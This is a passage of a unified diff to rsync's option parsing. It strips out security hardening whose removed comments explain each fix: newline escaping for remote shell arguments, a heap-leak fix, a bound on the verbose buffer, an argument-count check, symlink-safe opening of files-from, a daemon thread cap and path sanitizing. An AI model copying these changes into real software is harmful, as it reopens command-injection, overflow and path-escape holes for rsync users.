\t\t\t\t\trprintf(FERROR,\n \t\t\t\t\t\t\"rsync: %s: %s (in daemon mode)\\n\",\n@@ -1630,6 +1473,7 @@ int parse_arguments(int *argc_p, const char ***argv_p)\n \t\t\t\t*argc_p = 0;\n \t\t\t} else if (poptDupArgv(argc, argv, argc_p, argv_p) != 0)\n \t\t\t\tout_of_memory(\"parse_arguments\");\n+\t\t\targv = *argv_p;\n \t\t\tpoptFreeContext(pc);\n \n \t\t\tam_starting_up = 0;\n@@ -1738,15 +1582,6 @@ int parse_arguments(int *argc_p, const char ***argv_p)\n \t\t\tquiet++;\n \t\t\tbreak;\n \n-\t\tcase OPT_NICE:\n-\t\t\tif (!parse_niceness_option(pc))\n-\t\t\t\tgoto cleanup;\n-\t\t\tbreak;\n-\n-\t\tcase OPT_NO_NICE:\n-\t\t\tniceness_reset();\n-\t\t\tbreak;\n-\n \t\tcase 'x':\n \t\t\tone_file_system++;\n \t\t\tbreak;\n@@ -2111,15 +1946,8 @@ int parse_arguments(int *argc_p, const char ***argv_p)\n \t\t\tgoto cleanup;\n \t\tmax_alloc = size;\n \t}\n-\t/* A 0 value means \"as large as this build allows\".  We resolve it to the\n-\t * same ceiling parse_size_arg() enforces, so that --max-alloc=0 is exactly\n-\t * the largest value a user could also have typed, and never a limit that\n-\t * only the 0 spelling can reach.  Note that max_alloc_arg is forwarded to\n-\t * the peer un-normalized (see server_options()), which is what lets each\n-\t * side resolve 0 against its own SIZE_MAX -- a 64-bit client and a 32-bit\n-\t * daemon each get their own ceiling from the one portable spelling. */\n \tif (!max_alloc)\n-\t\tmax_alloc = SIZE_ARG_MAX;\n+\t\tmax_alloc = SIZE_MAX;\n \n \tif (old_style_args < 0) {\n \t\tif (!am_server && protect_args <= 0 && (arg = getenv(\"RSYNC_OLD_ARGS\")) != NULL && *arg) {\n@@ -2178,14 +2006,6 @@ int parse_arguments(int *argc_p, const char ***argv_p)\n \t\t\tcreate_refuse_error(refused_compress);\n \t\t\tgoto cleanup;\n \t\t}\n-\t\tif (do_compression_threads < 0)\n-\t\t\tdo_compression_threads = 0;\n-\t\t/* A daemon client controls the server-side sender arguments.  Keep one\n-\t\t * unauthenticated connection from asking Zstandard to materialize its\n-\t\t * implementation maximum (currently hundreds) of worker threads.  Local\n-\t\t * and remote-shell invocations retain the operator-requested value. */\n-\t\tif (am_daemon && do_compression_threads > MAX_DAEMON_COMPRESSION_THREADS)\n-\t\t\tdo_compression_threads = MAX_DAEMON_COMPRESSION_THREADS;\n \t}\n \n #ifdef HAVE_SETVBUF\n@@ -2252,9 +2072,6 @@ int parse_arguments(int *argc_p, const char ***argv_p)\n \t\tpoptFreeContext(pc);\n \t\treturn 1;\n \t}\n-\tif (am_daemon && module_id >= 0\n-\t && !niceness_check_daemon_request(err_buf, sizeof err_buf))\n-\t\tgoto cleanup;\n \n \t/* Because popt 1.19 has started to free the returned args data, we now\n \t * make a copy of the array and then do an immediate cleanup. */\n@@ -2331,22 +2148,6 @@ int parse_arguments(int *argc_p, const char ***argv_p)\n \t\t\tremove_source_files == 1 ? \"source\" : \"sent\");\n \t\tgoto cleanup;\n \t}\n-\tif (delay_symlinks && remove_source_files) {\n-\t\tsnprintf(err_buf, sizeof err_buf,\n-\t\t\t\"--delay-symlinks cannot be used with --remove-%s-files\\n\",\n-\t\t\tremove_source_files == 1 ? \"source\" : \"sent\");\n-\t\tgoto cleanup;\n-\t}\n-\tif (delay_symlinks && preserve_hard_links) {\n-\t\tsnprintf(err_buf, sizeof err_buf,\n-\t\t\t\"--delay-symlinks cannot be used with --hard-links\\n\");\n-\t\tgoto cleanup;\n-\t}\n-\tif (delay_symlinks && basis_dir_cnt) {\n-\t\tsnprintf(err_buf, sizeof err_buf,\n-\t\t\t\"--delay-symlinks cannot be used with %s\\n\", alt_dest_opt(0));\n-\t\tgoto cleanup;\n-\t}\n \tif (batch_name && strlen(batch_name) > MAX_BATCH_NAME_LEN) {\n \t\tsnprintf(err_buf, sizeof err_buf,\n \t\t\t\"the batch-file name must be %d characters or less.\\n\",\n@@ -2443,26 +2244,6 @@ int parse_arguments(int *argc_p, const char ***argv_p)\n \t\t}\n \t}\n \n-\tif (confine_root) {\n-\t\t/* A daemon already has module_dir for this job, and honouring a\n-\t\t * peer-supplied root there could only loosen the module boundary. */\n-\t\tif (am_daemon)\n-\t\t\tconfine_root = NULL;\n-\t\telse if (*confine_root != '/') {\n-\t\t\tsnprintf(err_buf, sizeof err_buf,\n-\t\t\t\t \"--confine-root must be an absolute path\\n\");\n-\t\t\treturn 0;\n-\t\t} else if (insecure_links) {\n-\t\t\t/* The opt-out restores the legacy open, which short-circuits the\n-\t\t\t * walk that enforces the root -- so the pair would silently mean\n-\t\t\t * no confinement at all.  Say so instead. */\n-\t\t\tsnprintf(err_buf, sizeof err_buf,\n-\t\t\t\t \"--insecure-links cannot be combined with --confine-root\\n\");\n-\t\t\treturn 0;\n-\t\t} else\n-\t\t\tconfine_root = normalize_path(confine_root, True, &confine_rootlen);\n-\t}\n-\n \tif (sanitize_paths) {\n \t\tint i;\n \t\tfor (i = argc; i-- > 0; )\n@@ -2474,26 +2255,21 @@ int parse_arguments(int *argc_p, const char ***argv_p)\n \t}\n \tif (daemon_filter_list.head && !am_sender) {\n \t\tfilter_rule_list *elp = &daemon_filter_list;\n-\t\t/* Strip the module-dir prefix to get the module-relative name, but keep a\n-\t\t * leading \"/\" for a \"path = /\" module (module_dirlen <= 1) so an absolute\n-\t\t * (module-rooted) filter rule still matches. */\n \t\tif (tmpdir) {\n-\t\t\tchar clean[MAXPATHLEN], *dir;\n+\t\t\tchar *dir;\n \t\t\tif (!*tmpdir)\n \t\t\t\tgoto options_rejected;\n-\t\t\tif (!sanitize_path(clean, tmpdir, \"/\", 0, SP_DEFAULT))\n-\t\t\t\tstrlcpy(clean, tmpdir, sizeof clean);\n-\t\t\tdir = clean + (*clean == '/' && module_dirlen > 1 ? module_dirlen : 0);\n+\t\t\tdir = tmpdir + (*tmpdir == '/' ? module_dirlen : 0);\n+\t\t\tclean_fname(dir, CFN_COLLAPSE_DOT_DOT_DIRS);\n \t\t\tif (check_filter(elp, FLOG, dir, 1) < 0)\n \t\t\t\tgoto options_rejected;\n \t\t}\n \t\tif (backup_dir) {\n-\t\t\tchar clean[MAXPATHLEN], *dir;\n+\t\t\tchar *dir;\n \t\t\tif (!*backup_dir)\n \t\t\t\tgoto options_rejected;\n-\t\t\tif (!sanitize_path(clean, backup_dir, \"/\", 0, SP_DEFAULT))\n-\t\t\t\tstrlcpy(clean, backup_dir, sizeof clean);\n-\t\t\tdir = clean + (*clean == '/' && module_dirlen > 1 ? module_dirlen : 0);\n+\t\t\tdir = backup_dir + (*backup_dir == '/' ? module_dirlen : 0);\n+\t\t\tclean_fname(dir, CFN_COLLAPSE_DOT_DOT_DIRS);\n \t\t\tif (check_filter(elp, FLOG, dir, 1) < 0)\n \t\t\t\tgoto options_rejected;\n \t\t}\n@@ -2670,7 +2446,7 @@ int parse_arguments(int *argc_p, const char ***argv_p)\n \n \tif (files_from) {\n \t\tchar *h, *p;\n-\t\tint q = 0;\n+\t\tint q;\n \t\tif (argc > 2 || (!am_daemon && !am_server && argc == 1)) {\n \t\t\tusage(FERROR);\n \t\t\texit_cleanup(RERR_SYNTAX);\n@@ -2704,20 +2480,7 @@ int parse_arguments(int *argc_p, const char ***argv_p)\n \t\t\t\tif (check_filter(&daemon_filter_list, FLOG, dir, 0) < 0)\n \t\t\t\t\tgoto options_rejected;\n \t\t\t}\n-\t\t\t/* Operator-supplied path that may transit attacker-writable\n-\t\t\t * parents; refuse symlinks not owned by uid 0 or our euid,\n-\t\t\t * as for --exclude-from/--include-from/--filter in exclude.c.\n-\t\t\t * A daemon reads this list from a CLIENT-requested path\n-\t\t\t * (--files-from=:LIST) and it must stay inside the module:\n-\t\t\t * operator_path_resolve makes the ownership walk also refuse a\n-\t\t\t * (trusted-owned) symlink that redirects the list outside the\n-\t\t\t * module root -- e.g. a root-owned backup symlink. No-op off a\n-\t\t\t * daemon (the module-root check only fires when am_daemon). */\n-\t\t\tint save_opr = operator_path_resolve;\n-\t\t\t/* The daemon process is the only case that the files-from path comes from an untrusted argument */\n-\t\t\toperator_path_resolve = am_daemon ? 1 : 0;\n-\t\t\tfilesfrom_fd = open_no_attacker_symlinks(files_from, O_RDONLY|O_BINARY, 0);\n-\t\t\toperator_path_resolve = save_opr;\n+\t\t\tfilesfrom_fd = open(files_from, O_RDONLY|O_BINARY);\n \t\t\tif (filesfrom_fd < 0) {\n \t\t\t\tsnprintf(err_buf, sizeof err_buf,\n \t\t\t\t\t\"failed to open files-from file %s: %s\\n\",\n@@ -2757,7 +2520,7 @@ static char SPLIT_ARG_WHEN_OLD[1];\n  **/\n char *safe_arg(const char *opt, const char *arg)\n {\n-#define SHELL_CHARS \"!#$&;|<>(){}\\\"\\'` \\t\\n\\r\\\\\"\n+#define SHELL_CHARS \"!#$&;|<>(){}\\\"'` \\t\\\\\"\n #define WILD_CHARS  \"*?[]\" /* We don't allow remote brace expansion */\n \tBOOL is_filename_arg = !opt;\n \tchar *escapes = is_filename_arg ? SHELL_CHARS : WILD_CHARS SHELL_CHARS;\n@@ -2776,16 +2539,7 @@ char *safe_arg(const char *opt, const char *arg)\n \t\t\tescape_leading_tilde = 1;\n \t\t}\n \t\tfor (f = arg; *f; f++) {\n-\t\t\tif (*f == '\\\\') {\n-\t\t\t\t/* Mirror the writer below: in filename mode a backslash\n-\t\t\t\t * before a wildcard is not doubled, so don't reserve a slot\n-\t\t\t\t * for it.  The \"f[1] &&\" also avoids the strchr(WILD_CHARS,\n-\t\t\t\t * '\\0') footgun (which matches the terminator) on a trailing\n-\t\t\t\t * backslash -- otherwise the counter and writer disagree and\n-\t\t\t\t * an uninitialized heap byte leaks into the result. */\n-\t\t\t\tif (!is_filename_arg || !(f[1] && strchr(WILD_CHARS, f[1])))\n-\t\t\t\t\textras++;\n-\t\t\t} else if (strchr(escapes, *f))\n+\t\t\tif (strchr(escapes, *f))\n \t\t\t\textras++;\n \t\t}\n \t}\n@@ -2810,7 +2564,7 @@ char *safe_arg(const char *opt, const char *arg)\n \t\t\t*t++ = '\\\\';\n \t\twhile (*f) {\n \t\t\tif (*f == '\\\\') {\n-\t\t\t\tif (!is_filename_arg || !(f[1] && strchr(WILD_CHARS, f[1])))\n+\t\t\t\tif (!is_filename_arg || !strchr(WILD_CHARS, f[1]))\n \t\t\t\t\t*t++ = '\\\\';\n \t\t\t} else if (strchr(escapes, *f))\n \t\t\t\t*t++ = '\\\\';\n@@ -2838,21 +2592,11 @@ void server_options(char **args, int *argc_p)\n \tchar *arg;\n \tint i, x;\n \n-\t/* Keep every append inside the caller's reserved range.  The do-while\n-\t * makes the macro one statement so it is safe in unbraced conditionals. */\n-#define ADD_SERVER_ARG(value) do { \\\n-\t\tif (ac >= MAX_SERVER_ARGS) { \\\n-\t\t\trprintf(FERROR, \"argc overflow in server_options().\\n\"); \\\n-\t\t\texit_cleanup(RERR_MALLOC); \\\n-\t\t} \\\n-\t\targs[ac++] = (value); \\\n-\t} while (0)\n-\n \t/* This should always remain first on the server's command-line. */\n-\tADD_SERVER_ARG(\"--server\");\n+\targs[ac++] = \"--server\";\n \n \tif (!am_sender)\n-\t\tADD_SERVER_ARG(\"--sender\");\n+\t\targs[ac++] = \"--sender\";\n \n \tx = 1;\n \targstr[0] = '-';\n@@ -2860,10 +2604,7 @@ void server_options(char **args, int *argc_p)\n \tif (protect_args)\n \t\targstr[x++] = 's';\n \n-\t/* `verbose` is unbounded (one increment per -v on our own command\n-\t * line), so an uncapped loop walks past argstr[64].  Anything beyond\n-\t * level ~5 is meaningless to the server anyway. */\n-\tfor (i = 0; i < verbose && i < 9; i++)\n+\tfor (i = 0; i < verbose; i++)\n \t\targstr[x++] = 'v';\n \n \tif (quiet && msgs2stderr)\n@@ -2969,7 +2710,7 @@ void server_options(char **args, int *argc_p)\n \tx += maybe_add_e_option(argstr + x, (int)sizeof argstr - x);\n \n \tif (x > 1)\n-\t\tADD_SERVER_ARG(argstr);\n+\t\targs[ac++] = argstr;\n \n #ifdef ICONV_OPTION\n \tif (iconv_opt) {\n@@ -2978,206 +2719,198 @@ void server_options(char **args, int *argc_p)\n \t\t\tset++;\n \t\telse\n \t\t\tset = iconv_opt;\n-\t\tADD_SERVER_ARG(safe_arg(\"--iconv\", set));\n+\t\targs[ac++] = safe_arg(\"--iconv\", set);\n \t}\n #endif\n \n \tif (protect_args && !local_server) /* unprotected args stop here */\n-\t\tADD_SERVER_ARG(NULL);\n+\t\targs[ac++] = NULL;\n \n \tif (list_only > 1)\n-\t\tADD_SERVER_ARG(\"--list-only\");\n+\t\targs[ac++] = \"--list-only\";\n \n \t/* This makes sure that the remote rsync can handle deleting with -d\n \t * sans -r because the --no-r option was added at the same time. */\n \tif (xfer_dirs && !recurse && delete_mode && am_sender)\n-\t\tADD_SERVER_ARG(\"--no-r\");\n+\t\targs[ac++] = \"--no-r\";\n \n \tif (do_compression && do_compression_level != CLVL_NOT_SPECIFIED) {\n \t\tif (asprintf(&arg, \"--compress-level=%d\", do_compression_level) < 0)\n \t\t\tgoto oom;\n-\t\tADD_SERVER_ARG(arg);\n+\t\targs[ac++] = arg;\n \t}\n \n \tif (preserve_devices) {\n \t\t/* Note: sending \"--devices\" would not be backward-compatible. */\n \t\tif (!preserve_specials)\n-\t\t\tADD_SERVER_ARG(\"--no-specials\"); /* -D is already set. */\n+\t\t\targs[ac++] = \"--no-specials\"; /* -D is already set. */\n \t} else if (preserve_specials)\n-\t\tADD_SERVER_ARG(\"--specials\");\n+\t\targs[ac++] = \"--specials\";\n \n \t/* The server side doesn't use our log-format, but in certain\n \t * circumstances they need to know a little about the option. */\n \tif (stdout_format && am_sender) {\n \t\t/* Use --log-format, not --out-format, for compatibility. */\n \t\tif (stdout_format_has_i > 1)\n-\t\t\tADD_SERVER_ARG(\"--log-format=%i%I\");\n+\t\t\targs[ac++] = \"--log-format=%i%I\";\n \t\telse if (stdout_format_has_i)\n-\t\t\tADD_SERVER_ARG(\"--log-format=%i\");\n+\t\t\targs[ac++] = \"--log-format=%i\";\n \t\telse if (stdout_format_has_o_or_i)\n-\t\t\tADD_SERVER_ARG(\"--log-format=%o\");\n+\t\t\targs[ac++] = \"--log-format=%o\";\n \t\telse if (!verbose)\n-\t\t\tADD_SERVER_ARG(\"--log-format=X\");\n+\t\t\targs[ac++] = \"--log-format=X\";\n \t}\n \n \tif (msgs2stderr == 1)\n-\t\tADD_SERVER_ARG(\"--msgs2stderr\");\n+\t\targs[ac++] = \"--msgs2stderr\";\n \telse if (msgs2stderr == 0)\n-\t\tADD_SERVER_ARG(\"--no-msgs2stderr\");\n+\t\targs[ac++] = \"--no-msgs2stderr\";\n \n \tif (block_size) {\n \t\tif (asprintf(&arg, \"-B%u\", (int)block_size) < 0)\n \t\t\tgoto oom;\n-\t\tADD_SERVER_ARG(arg);\n+\t\targs[ac++] = arg;\n \t}\n \n \tif (io_timeout) {\n \t\tif (asprintf(&arg, \"--timeout=%d\", io_timeout) < 0)\n \t\t\tgoto oom;\n-\t\tADD_SERVER_ARG(arg);\n+\t\targs[ac++] = arg;\n \t}\n \n \tif (bwlimit) {\n \t\tif (asprintf(&arg, \"--bwlimit=%d\", bwlimit) < 0)\n \t\t\tgoto oom;\n-\t\tADD_SERVER_ARG(arg);\n+\t\targs[ac++] = arg;\n \t}\n \n \tif (backup_dir) {\n \t\t/* This split idiom allows for ~/path expansion via the shell. */\n-\t\tADD_SERVER_ARG(\"--backup-dir\");\n-\t\tADD_SERVER_ARG(safe_arg(\"\", backup_dir));\n+\t\targs[ac++] = \"--backup-dir\";\n+\t\targs[ac++] = safe_arg(\"\", backup_dir);\n \t}\n \n \t/* Only send --suffix if it specifies a non-default value. */\n \tif (strcmp(backup_suffix, backup_dir ? \"\" : BACKUP_SUFFIX) != 0)\n-\t\tADD_SERVER_ARG(safe_arg(\"--suffix\", backup_suffix));\n+\t\targs[ac++] = safe_arg(\"--suffix\", backup_suffix);\n \n \tif (checksum_choice)\n-\t\tADD_SERVER_ARG(safe_arg(\"--checksum-choice\", checksum_choice));\n+\t\targs[ac++] = safe_arg(\"--checksum-choice\", checksum_choice);\n \n \tif (do_compression == CPRES_ZLIBX)\n-\t\tADD_SERVER_ARG(\"--new-compress\");\n+\t\targs[ac++] = \"--new-compress\";\n \telse if (compress_choice && do_compression == CPRES_ZLIB)\n-\t\tADD_SERVER_ARG(\"--old-compress\");\n+\t\targs[ac++] = \"--old-compress\";\n \telse if (compress_choice)\n-\t\tADD_SERVER_ARG(safe_arg(\"--compress-choice\", compress_choice));\n+\t\targs[ac++] = safe_arg(\"--compress-choice\", compress_choice);\n \n \tif (am_sender) {\n \t\tif (max_delete > 0) {\n \t\t\tif (asprintf(&arg, \"--max-delete=%d\", max_delete) < 0)\n \t\t\t\tgoto oom;\n-\t\t\tADD_SERVER_ARG(arg);\n+\t\t\targs[ac++] = arg;\n \t\t} else if (max_delete == 0)\n-\t\t\tADD_SERVER_ARG(\"--max-delete=-1\");\n+\t\t\targs[ac++] = \"--max-delete=-1\";\n \t\tif (min_size >= 0)\n-\t\t\tADD_SERVER_ARG(safe_arg(\"--min-size\", min_size_arg));\n+\t\t\targs[ac++] = safe_arg(\"--min-size\", min_size_arg);\n \t\tif (max_size >= 0)\n-\t\t\tADD_SERVER_ARG(safe_arg(\"--max-size\", max_size_arg));\n+\t\t\targs[ac++] = safe_arg(\"--max-size\", max_size_arg);\n \t\tif (delete_before)\n-\t\t\tADD_SERVER_ARG(\"--delete-before\");\n+\t\t\targs[ac++] = \"--delete-before\";\n \t\telse if (delete_during == 2)\n-\t\t\tADD_SERVER_ARG(\"--delete-delay\");\n+\t\t\targs[ac++] = \"--delete-delay\";\n \t\telse if (delete_during)\n-\t\t\tADD_SERVER_ARG(\"--delete-during\");\n+\t\t\targs[ac++] = \"--delete-during\";\n \t\telse if (delete_after)\n-\t\t\tADD_SERVER_ARG(\"--delete-after\");\n+\t\t\targs[ac++] = \"--delete-after\";\n \t\telse if (delete_mode && !delete_excluded)\n-\t\t\tADD_SERVER_ARG(\"--delete\");\n+\t\t\targs[ac++] = \"--delete\";\n \t\tif (delete_excluded)\n-\t\t\tADD_SERVER_ARG(\"--delete-excluded\");\n+\t\t\targs[ac++] = \"--delete-excluded\";\n \t\tif (force_delete)\n-\t\t\tADD_SERVER_ARG(\"--force\");\n+\t\t\targs[ac++] = \"--force\";\n \t\tif (write_batch < 0)\n-\t\t\tADD_SERVER_ARG(\"--only-write-batch=X\");\n+\t\t\targs[ac++] = \"--only-write-batch=X\";\n \t\tif (am_root > 1)\n-\t\t\tADD_SERVER_ARG(\"--super\");\n+\t\t\targs[ac++] = \"--super\";\n \t\tif (size_only)\n-\t\t\tADD_SERVER_ARG(\"--size-only\");\n+\t\t\targs[ac++] = \"--size-only\";\n \t\tif (do_stats)\n-\t\t\tADD_SERVER_ARG(\"--stats\");\n+\t\t\targs[ac++] = \"--stats\";\n \t} else {\n \t\tif (skip_compress)\n-\t\t\tADD_SERVER_ARG(safe_arg(\"--skip-compress\", skip_compress));\n+\t\t\targs[ac++] = safe_arg(\"--skip-compress\", skip_compress);\n \t}\n \n \tif (max_alloc_arg && max_alloc != DEFAULT_MAX_ALLOC)\n-\t\tADD_SERVER_ARG(safe_arg(\"--max-alloc\", max_alloc_arg));\n+\t\targs[ac++] = safe_arg(\"--max-alloc\", max_alloc_arg);\n \n \t/* --delete-missing-args needs the cooperation of both sides, but\n \t * the sender can handle --ignore-missing-args by itself. */\n \tif (missing_args == 2)\n-\t\tADD_SERVER_ARG(\"--delete-missing-args\");\n+\t\targs[ac++] = \"--delete-missing-args\";\n \telse if (missing_args == 1 && !am_sender)\n-\t\tADD_SERVER_ARG(\"--ignore-missing-args\");\n+\t\targs[ac++] = \"--ignore-missing-args\";\n \n \tif (modify_window_set && am_sender) {\n \t\tchar *fmt = modify_window < 0 ? \"-@%d\" : \"--modify-window=%d\";\n \t\tif (asprintf(&arg, fmt, modify_window) < 0)\n \t\t\tgoto oom;\n-\t\tADD_SERVER_ARG(arg);\n+\t\targs[ac++] = arg;\n \t}\n \n \tif (checksum_seed) {\n \t\tif (asprintf(&arg, \"--checksum-seed=%d\", checksum_seed) < 0)\n \t\t\tgoto oom;\n-\t\tADD_SERVER_ARG(arg);\n+\t\targs[ac++] = arg;\n \t}\n \n \tif (partial_dir && am_sender) {\n \t\tif (partial_dir != tmp_partialdir) {\n-\t\t\tADD_SERVER_ARG(\"--partial-dir\");\n-\t\t\tADD_SERVER_ARG(safe_arg(\"\", partial_dir));\n+\t\t\targs[ac++] = \"--partial-dir\";\n+\t\t\targs[ac++] = safe_arg(\"\", partial_dir);\n \t\t}\n \t\tif (delay_updates)\n-\t\t\tADD_SERVER_ARG(\"--delay-updates\");\n+\t\t\targs[ac++] = \"--delay-updates\";\n \t} else if (keep_partial && am_sender)\n-\t\tADD_SERVER_ARG(\"--partial\");\n-\n-\tif (delay_symlinks && am_sender)\n-\t\tADD_SERVER_ARG(\"--delay-symlinks\");\n+\t\targs[ac++] = \"--partial\";\n \n \tif (ignore_errors)\n-\t\tADD_SERVER_ARG(\"--ignore-errors\");\n+\t\targs[ac++] = \"--ignore-errors\";\n \n \tif (copy_unsafe_links)\n-\t\tADD_SERVER_ARG(\"--copy-unsafe-links\");\n-\n-\t/* --insecure-links is NOT forwarded: it is a local-only opt-out.  A daemon\n-\t * governs its own confinement via the \"insecure links\" module parameter and\n-\t * drops a connection that sends --insecure-links; a remote-shell peer that\n-\t * wants it must be given it on its own side (e.g. via --rsync-path). */\n+\t\targs[ac++] = \"--copy-unsafe-links\";\n \n \tif (safe_symlinks)\n-\t\tADD_SERVER_ARG(\"--safe-links\");\n+\t\targs[ac++] = \"--safe-links\";\n \n \tif (numeric_ids)\n-\t\tADD_SERVER_ARG(\"--numeric-ids\");\n+\t\targs[ac++] = \"--numeric-ids\";\n \n \tif (use_qsort)\n-\t\tADD_SERVER_ARG(\"--use-qsort\");\n+\t\targs[ac++] = \"--use-qsort\";\n \n \tif (am_sender) {\n \t\tif (usermap)\n-\t\t\tADD_SERVER_ARG(safe_arg(\"--usermap\", usermap));\n+\t\t\targs[ac++] = safe_arg(\"--usermap\", usermap);\n \n \t\tif (groupmap)\n-\t\t\tADD_SERVER_ARG(safe_arg(\"--groupmap\", groupmap));\n+\t\t\targs[ac++] = safe_arg(\"--groupmap\", groupmap);\n \n \t\tif (ignore_existing)\n-\t\t\tADD_SERVER_ARG(\"--ignore-existing\");\n+\t\t\targs[ac++] = \"--ignore-existing\";\n \n \t\t/* Backward compatibility: send --existing, not --ignore-non-existing. */\n \t\tif (ignore_non_existing)\n-\t\t\tADD_SERVER_ARG(\"--existing\");\n+\t\t\targs[ac++] = \"--existing\";\n \n \t\tif (tmpdir) {\n-\t\t\tADD_SERVER_ARG(\"--temp-dir\");\n-\t\t\tADD_SERVER_ARG(safe_arg(\"\", tmpdir));\n+\t\t\targs[ac++] = \"--temp-dir\";\n+\t\t\targs[ac++] = safe_arg(\"\", tmpdir);\n \t\t}\n \n \t\tif (do_fsync)\n-\t\t\tADD_SERVER_ARG(\"--fsync\");\n+\t\t\targs[ac++] = \"--fsync\";\n \n \t\tif (basis_dir[0]) {\n \t\t\t/* the server only needs this option if it is not the sender,\n@@ -3185,8 +2918,8 @@ void server_options(char **args, int *argc_p)\n \t\t\t *   option, so don't send it if client is the sender.\n \t\t\t */\n \t\t\tfor (i = 0; i < basis_dir_cnt; i++) {\n-\t\t\t\tADD_SERVER_ARG(alt_dest_opt(0));\n-\t\t\t\tADD_SERVER_ARG(safe_arg(\"\", basis_dir[i]));\n+\t\t\t\targs[ac++] = alt_dest_opt(0);\n+\t\t\t\targs[ac++] = safe_arg(\"\", basis_dir[i]);\n \t\t\t}\n \t\t}\n \t}\n@@ -3195,58 +2928,60 @@ void server_options(char **args, int *argc_p)\n \twhere = (am_server ? W_CLI : W_SRV) | (am_sender ? W_REC : W_SND);\n \targ = make_output_option(info_words, info_levels, where);\n \tif (arg)\n-\t\tADD_SERVER_ARG(arg);\n+\t\targs[ac++] = arg;\n \n \tif (append_mode) {\n \t\tif (append_mode > 1)\n-\t\t\tADD_SERVER_ARG(\"--append\");\n-\t\tADD_SERVER_ARG(\"--append\");\n+\t\t\targs[ac++] = \"--append\";\n+\t\targs[ac++] = \"--append\";\n \t} else if (inplace) {\n-\t\tADD_SERVER_ARG(\"--inplace\");\n+\t\targs[ac++] = \"--inplace\";\n \t\t/* Work around a bug in older rsync versions (on the remote side) for --inplace --sparse */\n \t\tif (sparse_files && !whole_file && am_sender)\n-\t\t\tADD_SERVER_ARG(\"--no-W\");\n+\t\t\targs[ac++] = \"--no-W\";\n \t}\n \n \tif (files_from && (!am_sender || filesfrom_host)) {\n \t\tif (filesfrom_host) {\n-\t\t\tADD_SERVER_ARG(\"--files-from\");\n-\t\t\tADD_SERVER_ARG(safe_arg(\"\", files_from));\n+\t\t\targs[ac++] = \"--files-from\";\n+\t\t\targs[ac++] = safe_arg(\"\", files_from);\n \t\t\tif (eol_nulls)\n-\t\t\t\tADD_SERVER_ARG(\"--from0\");\n+\t\t\t\targs[ac++] = \"--from0\";\n \t\t} else {\n-\t\t\tADD_SERVER_ARG(\"--files-from=-\");\n-\t\t\tADD_SERVER_ARG(\"--from0\");\n+\t\t\targs[ac++] = \"--files-from=-\";\n+\t\t\targs[ac++] = \"--from0\";\n \t\t}\n \t\tif (!relative_paths)\n-\t\t\tADD_SERVER_ARG(\"--no-relative\");\n+\t\t\targs[ac++] = \"--no-relative\";\n \t}\n \t/* It's OK that this checks the upper-bound of the protocol_version. */\n \tif (relative_paths && !implied_dirs && (!am_sender || protocol_version >= 30))\n-\t\tADD_SERVER_ARG(\"--no-implied-dirs\");\n+\t\targs[ac++] = \"--no-implied-dirs\";\n \n \tif (write_devices && am_sender)\n-\t\tADD_SERVER_ARG(\"--write-devices\");\n+\t\targs[ac++] = \"--write-devices\";\n \n \tif (remove_source_files == 1)\n-\t\tADD_SERVER_ARG(\"--remove-source-files\");\n+\t\targs[ac++] = \"--remove-source-files\";\n \telse if (remove_source_files)\n-\t\tADD_SERVER_ARG(\"--remove-sent-files\");\n+\t\targs[ac++] = \"--remove-sent-files\";\n \n \tif (copy_devices && !am_sender)\n-\t\tADD_SERVER_ARG(\"--copy-devices\");\n+\t\targs[ac++] = \"--copy-devices\";\n \n \tif (preallocate_files && am_sender)\n-\t\tADD_SERVER_ARG(\"--preallocate\");\n+\t\targs[ac++] = \"--preallocate\";\n \n \tif (open_noatime && preserve_atimes <= 1)\n-\t\tADD_SERVER_ARG(\"--open-noatime\");\n+\t\targs[ac++] = \"--open-noatime\";\n \n \tif (mkpath_dest_arg && am_sender)\n-\t\tADD_SERVER_ARG(\"--mkpath\");\n+\t\targs[ac++] = \"--mkpath\";\n \n-\tif ((arg = niceness_remote_option()) != NULL)\n-\t\tADD_SERVER_ARG(arg);\n+\tif (ac > MAX_SERVER_ARGS) { /* Not possible... */\n+\t\trprintf(FERROR, \"argc overflow in server_options().\\n\");\n+\t\texit_cleanup(RERR_MALLOC);\n+\t}\n \n \tif (remote_option_cnt) {\n \t\tint j;\n@@ -3255,11 +2990,9 @@ void server_options(char **args, int *argc_p)\n \t\t\texit_cleanup(RERR_SYNTAX);\n \t\t}\n \t\tfor (j = 1; j <= remote_option_cnt; j++)\n-\t\t\tADD_SERVER_ARG(safe_arg(SPLIT_ARG_WHEN_OLD, remote_options[j]));\n+\t\t\targs[ac++] = safe_arg(SPLIT_ARG_WHEN_OLD, remote_options[j]);\n \t}\n \n-#undef ADD_SERVER_ARG\n-\n \t*argc_p = ac;\n \treturn;\n \ndiff --git a/packaging/auto-Makefile b/packaging/auto-Makefile\nindex 24bd6b1..032913d 100644\n--- a/packaging/auto-Makefile\n+++ b/packaging/auto-Makefile\n@@ -1,4 +1,4 @@\n-TARGETS := all install install-ssl-daemon install-all install-strip uninstall uninstall-ssl-daemon uninstall-all conf gen reconfigure restatus \\\n+TARGETS := all install install-ssl-daemon install-all install-strip conf gen reconfigure restatus \\\n \tproto man clean cleantests distclean test check check29 check30 installcheck splint \\\n \tdoxygen doxygen-upload finddead rrsync\n \ndiff --git a/packaging/branch-from-patch b/packaging/branch-from-patch\nnew file mode 100755\nindex 0000000..40e5653\n--- /dev/null\n+++ b/packaging/branch-from-patch\n@@ -0,0 +1,174 @@\n+#!/usr/bin/env -S python3 -B\n+\n+# This script turns one or more diff files in the patches dir (which is\n+# expected to be a checkout of the rsync-patches git repo) into a branch\n+# in the main rsync git checkout. This allows the applied patch to be\n+# merged with the latest rsync changes and tested.  To update the diff\n+# with the resulting changes, see the patch-update script.\n+\n+import os, sys, re, argparse, glob\n+\n+sys.path = ['packaging'] + sys.path\n+\n+from pkglib import *\n+\n+def main():\n+    global created, info, local_branch\n+\n+    cur_branch, args.base_branch = check_git_state(args.base_branch, not args.skip_check, args.patches_dir)\n+\n+    local_branch = get_patch_branches(args.base_branch)\n+\n+    if args.delete_local_branches:\n+        for name in sorted(local_branch):\n+            branch = f\"patch/{args.base_branch}/{name}\"\n+            cmd_chk(['git', 'branch', '-D', branch])\n+        local_branch = set()\n+\n+    if args.add_missing:\n+        for fn in sorted(glob.glob(f\"{args.patches_dir}/*.diff\")):\n+            name = re.sub(r'\\.diff$', '', re.sub(r'.+/', '', fn))\n+            if name not in local_branch and fn not in args.patch_files:\n+                args.patch_files.append(fn)\n+\n+    if not args.patch_files:\n+        return\n+\n+    for fn in args.patch_files:\n+        if not fn.endswith('.diff'):\n+            die(f\"Filename is not a .diff file: 